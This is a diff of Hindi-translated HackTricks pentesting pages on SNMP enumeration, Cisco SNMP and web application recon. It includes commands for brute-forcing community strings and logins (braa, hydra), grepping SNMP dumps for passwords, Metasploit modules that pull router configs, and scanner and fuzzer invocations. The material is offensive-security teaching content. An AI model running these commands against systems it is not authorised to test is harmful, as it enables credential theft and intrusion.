यह अनुशंसा की जाती है कि आप निम्नलिखित को स्थापित करें ताकि आप देख सकें कि **प्रत्येक OID जो डिवाइस से एकत्र किया गया है उसका क्या मतलब है**:
यह अनुशंसा की जाती है कि आप निम्नलिखित स्थापित करें ताकि आप देख सकें कि **डिवाइस से एकत्रित प्रत्येक OID का क्या अर्थ है**:
```bash
apt-get install snmp-mibs-downloader
download-mibs
@ -144,7 +144,7 @@ braa <community string>@<IP>:.1.3.6.* #Bruteforce specific OID
```bash
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
```
**SNMP** के पास होस्ट के बारे में बहुत सारी जानकारी है और जो चीजें आपको दिलचस्प लग सकती हैं वे हैं: **नेटवर्क इंटरफेस** (IPv4 और **IPv6** पता), उपयोगकर्ता नाम, अपटाइम, सर्वर/OS संस्करण, और **प्रक्रियाएँ**
**SNMP** के पास होस्ट के बारे में बहुत सारी जानकारी होती है और जो चीजें आपको दिलचस्प लग सकती हैं वे हैं: **नेटवर्क इंटरफेस** (IPv4 और **IPv6** पता), उपयोगकर्ता नाम, अपटाइम, सर्वर/OS संस्करण, और **प्रक्रियाएँ**
**चल रही** (पासवर्ड हो सकते हैं)....
@ -161,7 +161,7 @@ snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
* **`rwcommunity`** के लिए **IPv4** पते, और
* **`rwcommunity6`** के लिए **IPv6** पते।
दोनों कमांड एक **कम्युनिटी स्ट्रिंग** और संबंधित IP पते की आवश्यकता होती है, जो अनुरोध के स्रोत की परवाह किए बिना पूर्ण पहुंच प्रदान करती है।
दोनों कमांड एक **समुदाय स्ट्रिंग** और संबंधित IP पते की आवश्यकता होती है, जो अनुरोध के स्रोत की परवाह किए बिना पूर्ण पहुंच प्रदान करती है।
### Microsoft Windows के लिए SNMP पैरामीटर
@ -207,19 +207,19 @@ braa ignite123@192.168.1.125:.1.3.6.*
### **उपकरण**
यह प्रक्रिया प्रत्येक फ़ाइल से **sysDesc MIB डेटा** (1.3.6.1.2.1.1.1.0) निकालने के साथ शुरू होती है ताकि उपकरणों की पहचान की जा सके। यह एक **grep कमांड** के उपयोग के माध्यम से पूरा किया जाता है:
यह प्रक्रिया प्रत्येक फ़ाइल से **sysDesc MIB डेटा** (1.3.6.1.2.1.1.1.0) को निकालने के साथ शुरू होती है ताकि उपकरणों की पहचान की जा सके। यह एक **grep कमांड** के उपयोग के माध्यम से पूरा किया जाता है:
```bash
grep ".1.3.6.1.2.1.1.1.0" *.snmp
```
### **निजी स्ट्रिंग की पहचान करें**
एक महत्वपूर्ण कदम **निजी समुदाय स्ट्रिंग** की पहचान करना है जो संगठनों द्वारा उपयोग की जाती है, विशेष रूप से Cisco IOS राउटर्स पर। यह स्ट्रिंग राउटर्स से **चल रही कॉन्फ़िगरेशन** को निकालने की अनुमति देती है। पहचान अक्सर SNMP ट्रैप डेटा का विश्लेषण करने पर निर्भर करती है जिसमें "trap" शब्द होता है, **grep कमांड** के साथ:
एक महत्वपूर्ण कदम **निजी समुदाय स्ट्रिंग** की पहचान करना है जो संगठनों द्वारा उपयोग की जाती है, विशेष रूप से Cisco IOS राउटर्स पर। यह स्ट्रिंग राउटर्स से **चली कॉन्फ़िगरेशन** को निकालने की अनुमति देती है। पहचान अक्सर SNMP ट्रैप डेटा का विश्लेषण करने पर निर्भर करती है जिसमें "trap" शब्द होता है, **grep कमांड** के साथ:
```bash
grep -i "trap" *.snmp
```
### **यूजरनेम/पासवर्ड**
### **उपयोगकर्ता नाम/पासवर्ड**
MIB तालिकाओं में संग्रहीत लॉग को **असफल लॉगिन प्रयासों** के लिए जांचा जाता है, जिसमें गलती से यूजरनेम के रूप में दर्ज किए गए पासवर्ड शामिल हो सकते हैं। मूल्यवान डेटा खोजने के लिए _fail_, _failed_, या _login_ जैसे कीवर्ड खोजे जाते हैं:
MIB तालिकाओं में संग्रहीत लॉग को **असफल लॉगिन प्रयासों** के लिए जांचा जाता है, जिसमें गलती से उपयोगकर्ता नाम के रूप में दर्ज किए गए पासवर्ड शामिल हो सकते हैं। मूल्यवान डेटा खोजने के लिए _fail_, _failed_, या _login_ जैसे कीवर्ड खोजे जाते हैं:
```bash
grep -i "login\|fail" *.snmp
```
@ -243,9 +243,9 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
* snmpd.conf
* snmp-config.xml
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_).
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)।
{% embed url="https://www.stmcyber.com/careers" %}
@ -286,8 +286,8 @@ Command: hydra -P {Big_Passwordlist} -v {IP} snmp
```
{% hint style="success" %}
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
सीखें और AWS हैकिंग का अभ्यास करें:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -1,8 +1,8 @@
# Cisco SNMP
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
@ -38,37 +38,37 @@ Metasploit ढांचा `cisco_config_tftp` मॉड्यूल को श
* लक्षित डिवाइस का IP (**RHOSTS**)
* कॉन्फ़िगरेशन फ़ाइलों के लिए गंतव्य पथ (**OUTPUTDIR**)
कॉन्फ़िगरेशन के बाद, यह मॉड्यूल डिवाइस सेटिंग्स को सीधे निर्दिष्ट फ़ोल्डर में डाउनलोड करने की अनुमति देता है।
कॉन्फ़िगरेशन के बाद, यह मॉड्यूल निर्दिष्ट फ़ोल्डर में सीधे डिवाइस सेटिंग्स को डाउनलोड करने की अनुमति देता है।
#### `snmp_enum`
एक और Metasploit मॉड्यूल, **`snmp_enum`**, विस्तृत हार्डवेयर जानकारी इकट्ठा करने में विशेषज्ञता रखता है। यह किसी भी प्रकार की समुदाय स्ट्रिंग के साथ काम करता है और सफल निष्पादन के लिए लक्षित का IP पता आवश्यक है:
एक और Metasploit मॉड्यूल, **`snmp_enum`**, विस्तृत हार्डवेयर जानकारी एकत्रित करने में विशेषज्ञता रखता है। यह किसी भी प्रकार की समुदाय स्ट्रिंग के साथ काम करता है और सफल निष्पादन के लिए लक्षित का IP पता आवश्यक है:
```bash
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
```
## References
## संदर्भ
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS हैकिंग सीखें और अभ्यास करें:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) जांचें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हम** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमारे** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** का पालन करें.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें.
</details>
{% endhint %}

View file

@ -15,9 +15,9 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_).
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अजेय को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)
{% embed url="https://www.stmcyber.com/careers" %}
@ -46,17 +46,17 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
> इस कार्यप्रणाली में हम मानेंगे कि आप एक डोमेन (या उपडोमेन) पर हमला करने जा रहे हैं और केवल उसी पर। इसलिए, आपको इस कार्यप्रणाली को प्रत्येक खोजे गए डोमेन, उपडोमेन या IP पर लागू करना चाहिए जिसमें अनिश्चित वेब सर्वर हो।
* [ ] **तकनीकों** की **पहचान** करने से शुरू करें जो वेब सर्वर द्वारा उपयोग की जा रही हैं। यदि आप तकनीक की सफलतापूर्वक पहचान कर सकते हैं तो परीक्षण के बाकी हिस्से के दौरान ध्यान में रखने के लिए **तरकीबें** देखें।
* [ ] **तकनीकों** की **पहचान** करने से शुरू करें जो वेब सर्वर द्वारा उपयोग की जा रही हैं। यदि आप तकनीक की सफलतापूर्वक पहचान कर सकते हैं तो परीक्षण के बाकी हिस्से के दौरान ध्यान में रखने के लिए **कौशल** देखें।
* [ ] क्या तकनीक के संस्करण की कोई **ज्ञात भेद्यता** है?
* [ ] क्या कोई **प्रसिद्ध तकनीक** का उपयोग किया जा रहा है? अधिक जानकारी निकालने के लिए कोई **उपयोगी तरकीब**?
* [ ] क्या कोई **प्रसिद्ध तकनीक** का उपयोग कर रहे हैं? अधिक जानकारी निकालने के लिए कोई **उपयोगी कौशल**?
* [ ] क्या चलाने के लिए कोई **विशेषीकृत स्कैनर** है (जैसे wpscan)?
* [ ] **सामान्य प्रयोजन स्कैनर** लॉन्च करें। आप कभी नहीं जानते कि वे कुछ खोजने जा रहे हैं या कुछ दिलचस्प जानकारी खोजने जा रहे हैं।
* [ ] **प्रारंभिक जांच** से शुरू करें: **रोबोट**, **साइटमैप**, **404** त्रुटि और **SSL/TLS स्कैन** (यदि HTTPS)।
* [ ] वेब पृष्ठ को **स्पाइडरिंग** करना शुरू करें: यह सभी संभावित **फाइलों, फ़ोल्डरों** और **पैरामीटरों** को **खोजने** का समय है। साथ ही, **विशेष खोजों** के लिए जांचें।
* [ ] _ध्यान दें कि जब भी ब्रूट-फोर्सिंग या स्पाइडरिंग के दौरान एक नया निर्देशिका खोजा जाता है, तो इसे स्पाइडर किया जाना चाहिए।_
* [ ] **डायरेक्टरी ब्रूट-फोर्सिंग**: सभी खोजे गए फ़ोल्डरों को ब्रूट फोर्स करने का प्रयास करें नए **फाइलों** और **निर्देशिकाओं** की खोज करते हुए।
* [ ] **निर्देशिका ब्रूट-फोर्सिंग**: सभी खोजे गए फ़ोल्डरों को ब्रूट फोर्स करने का प्रयास करें नए **फाइलों** और **निर्देशिकाओं** की खोज करते हुए।
* [ ] _ध्यान दें कि जब भी ब्रूट-फोर्सिंग या स्पाइडरिंग के दौरान एक नया निर्देशिका खोजा जाता है, तो इसे ब्रूट-फोर्स किया जाना चाहिए।_
* [ ] **बैकअप जांच**: सामान्य बैकअप एक्सटेंशन जोड़कर **खोजे गए फाइलों** के **बैकअप** खोजने का प्रयास करें।
* [ ] **बैकअप जांच**: सामान्य बैकअप एक्सटेंशन जोड़कर **खोजी गई फाइलों** के **बैकअप** खोजने का प्रयास करें।
* [ ] **ब्रूट-फोर्स पैरामीटर**: **छिपे हुए पैरामीटर** खोजने का प्रयास करें।
* [ ] एक बार जब आप सभी संभावित **एंडपॉइंट्स** की **पहचान** कर लेते हैं जो **उपयोगकर्ता इनपुट** स्वीकार करते हैं, तो इसके साथ संबंधित सभी प्रकार की **भेद्यताओं** की जांच करें।
* [ ] [इस चेकलिस्ट का पालन करें](../../pentesting-web/web-vulnerabilities-methodology.md)
@ -73,7 +73,7 @@ whatweb -a 3 <URL> #Aggresive
webtech -u <URL>
webanalyze -host https://google.com -crawl 2
```
Search **for** [**वेब एप्लिकेशन** **संस्करण** **की कमजोरियों**](../../generic-methodologies-and-resources/search-exploits.md)
Search **for** [**वेब एप्लिकेशन के** **संस्करण** **में कमजोरियों**](../../generic-methodologies-and-resources/search-exploits.md)
### **जांचें कि कोई WAF है या नहीं**
@ -118,7 +118,7 @@ Search **for** [**वेब एप्लिकेशन** **संस्कर
* [**Electron Desktop (XSS से RCE)**](electron-desktop-apps/)
_यह ध्यान में रखें कि **एक ही डोमेन** विभिन्न **पोर्ट्स**, **फोल्डर्स** और **सबडोमेन** में **विभिन्न प्रौद्योगिकियों** का उपयोग कर सकता है।_\
यदि वेब एप्लिकेशन किसी प्रसिद्ध **प्रौद्योगिकी/प्लेटफ़ॉर्म** का उपयोग कर रहा है या **कोई अन्य**, तो **इंटरनेट पर** नए ट्रिक्स **खोजना** न भूलें (और मुझे बताएं!)।
यदि वेब एप्लिकेशन किसी प्रसिद्ध **प्रौद्योगिकी/प्लेटफ़ॉर्म का उपयोग कर रहा है** या **कोई अन्य**, तो **इंटरनेट पर** नए ट्रिक्स **खोजना** न भूलें (और मुझे बताएं!)।
### स्रोत कोड समीक्षा
@ -149,9 +149,9 @@ nuclei -ut && nuclei -target <URL>
# https://github.com/ignis-sec/puff (client side vulns fuzzer)
node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ"
```
#### CMS scanners
#### CMS स्कैनर
यदि CMS का उपयोग किया गया है तो **स्कैनर चलाना न भूलें**, शायद कुछ रोचक पाया जाए:
यदि CMS का उपयोग किया गया है तो **स्कैनर चलाना** न भूलें, शायद कुछ रोचक पाया जाए:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin** वेबसाइटों के लिए सुरक्षा मुद्दे। (GUI)\
@ -188,21 +188,21 @@ joomlavs.rb #https://github.com/rastating/joomlavs
* **फर्जी पृष्ठों** तक पहुँचें जैसे /whatever\_fake.php (.aspx,.html,.etc)
* **त्रुटियाँ उत्पन्न करने के लिए "[]", "]]", और "[["** को **कुकी मान** और **पैरामीटर** मानों में जोड़ें
* **URL** के **अंत** में **`/~randomthing/%s`** के रूप में इनपुट देकर त्रुटि उत्पन्न करें
* **PATCH, DEBUG** या गलत जैसे **FAKE** जैसे **विभिन्न HTTP क्रियाएँ** आजमाएँ
* **PATCH, DEBUG** या गलत जैसे **FAKE** जैसे **विभिन्न HTTP क्रियाएँ** आजमाएँ
#### **जांचें कि क्या आप फ़ाइलें अपलोड कर सकते हैं (**[**PUT क्रिया, WebDav**](put-method-webdav.md)**)**
यदि आप पाते हैं कि **WebDav** **सक्षम** है लेकिन आपके पास **रूट फ़ोल्डर** में **फ़ाइलें अपलोड करने** के लिए पर्याप्त अनुमतियाँ नहीं हैं, तो प्रयास करें:
* **ब्रूट फोर्स** क्रेडेंशियल्स
* **ब्रूट फोर्स** क्रेडेंशियल्स
* वेब पृष्ठ के अंदर **पाई गई फ़ोल्डरों** के **बाकी** में WebDav के माध्यम से **फ़ाइलें अपलोड करें**। आपको अन्य फ़ोल्डरों में फ़ाइलें अपलोड करने की अनुमति हो सकती है।
### **SSL/TLS कमजोरियाँ**
* यदि एप्लिकेशन **HTTPS के उपयोगकर्ता को किसी भी भाग में मजबूर नहीं कर रहा है**, तो यह **MitM के लिए कमजोर** है
* यदि एप्लिकेशन **HTTPS के उपयोगकर्ता को किसी भी भाग में मजबूर नहीं कर रहा है**, तो यह **MitM** के लिए **कमजोर** है
* यदि एप्लिकेशन **HTTP का उपयोग करके संवेदनशील डेटा (पासवर्ड) भेज रहा है**। तो यह एक उच्च कमजोरी है।
**कमजोरियों** के लिए [**testssl.sh**](https://github.com/drwetter/testssl.sh) का उपयोग करें (बग बाउंटी कार्यक्रमों में शायद इस प्रकार की कमजोरियों को स्वीकार नहीं किया जाएगा) और कमजोरियों को फिर से जांचने के लिए [**a2sv** ](https://github.com/hahwul/a2sv) का उपयोग करें:
**कमजोरियों** के लिए जांचने के लिए [**testssl.sh**](https://github.com/drwetter/testssl.sh) का उपयोग करें (बग बाउंटी कार्यक्रमों में शायद इस प्रकार की कमजोरियाँ स्वीकार नहीं की जाएँगी) और कमजोरियों को फिर से जांचने के लिए [**a2sv**](https://github.com/hahwul/a2sv) का उपयोग करें:
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
@ -211,36 +211,36 @@ joomlavs.rb #https://github.com/rastating/joomlavs
sslscan <host:port>
sslyze --regular <ip:port>
```
Information about SSL/TLS vulnerabilities:
SSL/TLS कमजोरियों के बारे में जानकारी:
* [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
* [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
### Spidering
### स्पाइडरिंग
वेब के अंदर किसी प्रकार का **स्पाइडर** लॉन्च करें। स्पाइडर का लक्ष्य है **परीक्षित एप्लिकेशन से जितने संभव हो सके रास्ते खोजना**। इसलिए, वेब क्रॉलिंग और बाहरी स्रोतों का उपयोग करके जितने संभव हो सके वैध रास्ते खोजे जाने चाहिए।
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML स्पाइडर, JS फ़ाइलों में LinkFinder और बाहरी स्रोत (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com)।
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML स्पाइडर, JS फ़ाइलों के लिए LinkFider और बाहरी स्रोत के रूप में Archive.org के साथ
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML स्पाइडर, JS फ़ाइलों के लिए LinkFider और बाहरी स्रोत के रूप में Archive.org।
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML स्पाइडर, "जूसि फ़ाइलों" को भी इंगित करता है।
* [**evine** ](https://github.com/saeeddhqan/evine)(go): इंटरैक्टिव CLI HTML स्पाइडर। यह Archive.org में भी खोजता है।
* [**meg**](https://github.com/tomnomnom/meg) (go): यह उपकरण एक स्पाइडर नहीं है लेकिन यह उपयोगी हो सकता है। आप बस एक फ़ाइल निर्दिष्ट कर सकते हैं जिसमें होस्ट और एक फ़ाइल जिसमें रास्ते हैं और मेग प्रत्येक होस्ट पर प्रत्येक रास्ता लाएगा और प्रतिक्रिया को सहेजेगा।
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS रेंडरिंग क्षमताओं के साथ HTML स्पाइडर। हालाँकि, ऐसा लगता है कि इसे बनाए नहीं रखा गया है, पूर्व-निर्मित संस्करण पुराना है और वर्तमान कोड संकलित नहीं होता है।
* [**meg**](https://github.com/tomnomnom/meg) (go): यह उपकरण एक स्पाइडर नहीं है लेकिन यह उपयोगी हो सकता है। आप बस एक फ़ाइल निर्दिष्ट कर सकते हैं जिसमें होस्ट और एक फ़ाइल जिसमें रास्ते हैं और meg प्रत्येक होस्ट पर प्रत्येक रास्ता लाएगा और प्रतिक्रिया को सहेजेगा।
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS रेंडरिंग क्षमताओं के साथ HTML स्पाइडर। हालाँकि, ऐसा लगता है कि यह अप्रबंधित है, पूर्व-संकलित संस्करण पुराना है और वर्तमान कोड संकलित नहीं होता है।
* [**gau**](https://github.com/lc/gau) (go): HTML स्पाइडर जो बाहरी प्रदाताओं (wayback, otx, commoncrawl) का उपयोग करता है।
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): यह स्क्रिप्ट URL खोजेगी जिसमें पैरामीटर होंगे और उन्हें सूचीबद्ध करेगी।
* [**galer**](https://github.com/dwisiswant0/galer) (go): JS रेंडरिंग क्षमताओं के साथ HTML स्पाइडर।
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML स्पाइडर, JS फ़ाइलों में नए रास्तों की खोज करने में सक्षम JS ब्यूटीफाई क्षमताओं के साथ। [JSScanner](https://github.com/dark-warlord14/JSScanner) पर भी नज़र डालना फायदेमंद हो सकता है, जो LinkFinder का एक रैपर है।
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTML स्रोत और एम्बेडेड जावास्क्रिप्ट फ़ाइलों में एंडपॉइंट्स निकालने के लिए। बग हंटर्स, रेड टीमर्स, इन्फोसेक निन्जाओं के लिए उपयोगी।
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): एक पायथन 2.7 स्क्रिप्ट जो Tornado और JSBeautifier का उपयोग करके जावास्क्रिप्ट फ़ाइलों से सापेक्ष URL को पार्स करती है। AJAX अनुरोधों को आसानी से खोजने के लिए उपयोगी। ऐसा लगता है कि इसे बनाए नहीं रखा गया है।
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): एक फ़ाइल (HTML) दी गई है, यह निफ्टी नियमित अभिव्यक्ति का उपयोग करके उससे URL निकालेगा ताकि बदसूरत (मिनिफाई) फ़ाइलों से सापेक्ष URL को खोजा और निकाला जा सके
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): एक पायथन 2.7 स्क्रिप्ट जो Tornado और JSBeautifier का उपयोग करके जावास्क्रिप्ट फ़ाइलों से सापेक्ष URL को पार्स करती है। AJAX अनुरोधों को आसानी से खोजने के लिए उपयोगी। ऐसा लगता है कि यह अप्रबंधित है।
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): एक फ़ाइल (HTML) दी गई है, यह निफ्टी नियमित अभिव्यक्ति का उपयोग करके URL को निकालता है और बदसूरत (मिनिफाई) फ़ाइलों से सापेक्ष URL को खोजता है और निकालता है
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, कई उपकरण): कई उपकरणों का उपयोग करके JS फ़ाइलों से दिलचस्प जानकारी इकट्ठा करें।
* [**subjs**](https://github.com/lc/subjs) (go): JS फ़ाइलें खोजें।
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): एक हेडलेस ब्राउज़र में एक पृष्ठ लोड करें और सभी URL प्रिंट करें जो पृष्ठ को लोड करने के लिए लोड किए गए हैं।
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): एक हेडलेस ब्राउज़र में एक पृष्ठ लोड करें और पृष्ठ को लोड करने के लिए लोड किए गए सभी URL को प्रिंट करें।
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): सामग्री खोज उपकरण जो पिछले उपकरणों के कई विकल्पों को मिलाता है।
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS फ़ाइलों में पथ और पैरामीटर खोजने के लिए एक Burp एक्सटेंशन।
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): एक उपकरण जो .js.map URL दिए जाने पर आपको ब्यूटीफाइड JS कोड प्राप्त करेगा।
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): यह एक उपकरण है जिसका उपयोग किसी दिए गए लक्ष्य के लिए एंडपॉइंट्स खोजने के लिए किया जाता है।
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** वेबैक मशीन से लिंक खोजें (वेबैक में प्रतिक्रियाएँ डाउनलोड करना और अधिक लिंक के लिए देखना)।
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** वेबैक मशीन से लिंक खोजें (जवाबों को वेबैक में डाउनलोड करना और अधिक लिंक की तलाश करना)।
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): क्रॉल करें (यहां तक कि फ़ॉर्म भरकर) और विशिष्ट regexes का उपयोग करके संवेदनशील जानकारी खोजें।
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite एक उन्नत मल्टी-फीचर GUI वेब सुरक्षा क्रॉलर/स्पाइडर है जिसे साइबर सुरक्षा पेशेवरों के लिए डिज़ाइन किया गया है।
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): यह एक Go पैकेज और [कमांड-लाइन उपकरण](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) है जो जावास्क्रिप्ट स्रोत कोड से URL, पथ, रहस्य और अन्य दिलचस्प डेटा निकालता है।
@ -248,9 +248,9 @@ Information about SSL/TLS vulnerabilities:
* [**katana**](https://github.com/projectdiscovery/katana) (go): इसके लिए शानदार उपकरण।
* [**Crawley**](https://github.com/s0rg/crawley) (go): यह प्रिंट करता है हर लिंक जिसे यह खोजने में सक्षम है।
### Brute Force directories and files
### ब्रूट फोर्स निर्देशिकाएँ और फ़ाइलें
